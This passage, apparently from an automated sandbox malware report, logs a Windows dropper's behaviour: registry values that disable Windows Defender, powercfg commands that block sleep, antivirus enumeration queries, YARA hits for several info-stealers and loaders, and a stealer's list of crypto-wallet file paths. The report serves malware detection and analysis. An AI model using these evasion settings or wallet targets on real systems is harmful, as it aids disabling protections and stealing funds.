Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

Code function: 10_2_69B184B0 cpuid

10_2_69B184B0

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Queries volume information: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\netstandard\v4.0_2.0.0.0__cc7b13ffcd2ddd51\netstandard.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\Pythonwin VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\charset_normalizer VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\pywin32_system32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\win32 VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\zstandard VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI40602\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Code function: 7_2_00A7C84D GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_00A7C84D

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender real time protection (registry)

Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{C3174531-87C3-4E8A-B459-F082A9BDC670}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1	Jump to behavior
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableAntiSpyware 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender	Registry value created: DisableRoutinelyTakingAction 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions	Registry value created: Exclusions_Extensions 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableBehaviorMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableOnAccessProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableScanOnRealtimeEnable 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{F7268D09-0253-482E-9684-37327F29D4B0}Machine\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRawWriteNotification 1

Exclude list of file types from scheduled, custom, and real-time scanning

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Registry value created: Exclusions_Extensions 1			Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Registry value created: Exclusions_Extensions 1

Modifies Group Policy settings

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\Documents\SimpleAdobe\bKj5ORDxbqgwdZav4hyONQmM.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Glupteba

Source: Yara match	File source: 17.1.tXlQ3NLbQqxBkFS_TfaDHWX4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: 19.2.cjlnYlPYSIAljKunxGKtil91.exe.aeac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.cjlnYlPYSIAljKunxGKtil91.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.cjlnYlPYSIAljKunxGKtil91.exe.aeac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001D.00000002.2809504099.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2626409081.00000000044AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2439089037.00000000000AE000.00000004.00000001.01000000.00000013.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2970352519.0000000002D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RisePro Stealer

Source: Yara match	File source: 7.2.zFe0EAtgy56yDxXht4nmozfb.exe.9a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.eQEIduvtZVhzsp4oDFOuc1gy.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000003.2850327356.00000000066F2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2852539306.00000000066F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: eQEIduvtZVhzsp4oDFOuc1gy.exe PID: 4160, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\J4dorNOROd60TEXKOpUsDEA.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\YrWSGTvMbD1qxqADGULdj7d.zip, type: DROPPED

Yara detected SmokeLoader

Source: Yara match	File source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.3.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.25eac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.25eac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.FSYOvyvMMT80PCsMousFK1Xa.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.1bd0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2938091738.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2976391613.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2405630696.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3015167493.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2435161937.000000000025E000.00000004.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FSYOvyvMMT80PCsMousFK1Xa.exe PID: 3884, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NyiVs23yIO_0wMOj5TwwBpJ5.exe PID: 3704, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3015167493.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 